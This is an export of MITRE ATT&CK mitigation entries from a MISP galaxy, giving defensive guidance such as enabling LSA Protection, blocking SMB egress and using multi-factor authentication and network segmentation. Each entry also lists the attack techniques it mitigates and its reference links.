LSASS Driver Mitigation - T1177

On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)

Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)

The tag is: *misp-galaxy:mitre-course-of-action="LSASS Driver Mitigation - T1177"*

View relationships graph

LSASS Driver Mitigation - T1177 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-

language:likelihood-probability="almost-certain"

Table 4814. Table References

Links
https://attack.mitre.org/mitigations/T1177
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/library/dn408187.aspx

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: *misp-galaxy:mitre-course-of-action="Forced Authentication Mitigation - T1187"*

View relationships graph

Forced Authentication Mitigation - T1187 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 4815. Table References

Links
https://attack.mitre.org/mitigations/T1187
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices

BITS Jobs Mitigation - T1197

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating.

Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)

The tag is: *misp-galaxy:mitre-course-of-action="BITS Jobs Mitigation - T1197"*

View relationships graph

BITS Jobs Mitigation - T1197 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 4816. Table References

Links
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://attack.mitre.org/mitigations/T1197
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://www.symantec.com/connect/blogs/malware-update-windows-update

Trusted Relationship Mitigation - T1199

Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.

The tag is: *misp-galaxy:mitre-course-of-action="Trusted Relationship Mitigation - T1199"*

View relationships graph

Trusted Relationship Mitigation - T1199 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

Table 4817. Table References

Links
https://attack.mitre.org/mitigations/T1199

Firmware Corruption Mitigation - T1495

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.

The tag is: *misp-galaxy:mitre-course-of-action="Firmware Corruption Mitigation - T1495"*

View relationships graph

Firmware Corruption Mitigation - T1495 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"

Table 4818. Table References

Links
https://attack.mitre.org/mitigations/T1495

Resource Hijacking Mitigation - T1496

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Resource Hijacking Mitigation - T1496"*

View relationships graph

Resource Hijacking Mitigation - T1496 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

Table 4819. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1496
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Destruction Mitigation - T1488

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data Destruction Mitigation - T1488"*

View relationships graph

Data Destruction Mitigation - T1488 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1488" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 4820. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1488
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.ready.gov/business/implementation/IT

Service Stop Mitigation - T1489

Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.

The tag is: *misp-galaxy:mitre-course-of-action="Service Stop Mitigation - T1489"*

View relationships graph

Service Stop Mitigation - T1489 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 4821. Table References

Links
https://attack.mitre.org/mitigations/T1489

Multi-factor Authentication - M1032

Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.

The tag is: *misp-galaxy:mitre-course-of-action="Multi-factor Authentication - M1032"*

View relationships graph

Multi-factor Authentication - M1032 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

Table 4822. Table References

Links
https://attack.mitre.org/mitigations/M1032

Rc.common Mitigation - T1163

Limit privileges of user accounts so only authorized users can edit the rc.common file.

The tag is: *misp-galaxy:mitre-course-of-action="Rc.common Mitigation - T1163"*

View relationships graph

Rc.common Mitigation - T1163 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"

Table 4823. Table References

Links
https://attack.mitre.org/mitigations/T1163

SSL/TLS Inspection - M1020

Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.

The tag is: *misp-galaxy:mitre-course-of-action="SSL/TLS Inspection - M1020"*

View relationships graph

SSL/TLS Inspection - M1020 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

Table 4824. Table References

Links
https://attack.mitre.org/mitigations/M1020

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Regsvcs/Regasm Mitigation - T1121"*

View relationships graph

Regsvcs/Regasm Mitigation - T1121 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"

Table 4825. Table References

Links
https://attack.mitre.org/mitigations/T1121

Security Updates - M1001

Install security updates in response to discovered vulnerabilities.

Purchase devices with a vendor and/or mobile carrier commitment to provide security updates in a prompt manner for a set period of time.

Decommission devices that will no longer receive security updates.

Limit or block access to enterprise resources from devices that have not installed recent security updates.

On Android devices, access can be controlled based on each device's security patch level. On iOS devices, access can be controlled based on the iOS version.

The tag is: *misp-galaxy:mitre-course-of-action="Security Updates - M1001"*

View relationships graph

Security Updates - M1001 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1579" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compromise Application Executable - T1577" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 4826. Table References

Links
https://attack.mitre.org/mitigations/M1001

Lock Bootloader - M1003

On devices that provide the capability to unlock the bootloader (hence allowing any operating system code to be flashed onto the device), perform periodic checks to ensure that the bootloader is locked.

The tag is: *misp-galaxy:mitre-course-of-action="Lock Bootloader - M1003"*

View relationships graph

Lock Bootloader - M1003 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"

Table 4827. Table References

Links
https://attack.mitre.org/mitigations/M1003

Network Segmentation - M1030

Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.

The tag is: *misp-galaxy:mitre-course-of-action="Network Segmentation - M1030"*

View relationships graph

Network Segmentation - M1030 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 4828. Table References

Links
https://attack.mitre.org/mitigations/M1030

Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting.

The tag is: *misp-galaxy:mitre-course-of-action="Application Vetting - M1005"*

View relationships graph

Application Vetting - M1005 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Code Injection - T1540" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1579" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Evasion - T1618" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Geofencing - T1581" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1576" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
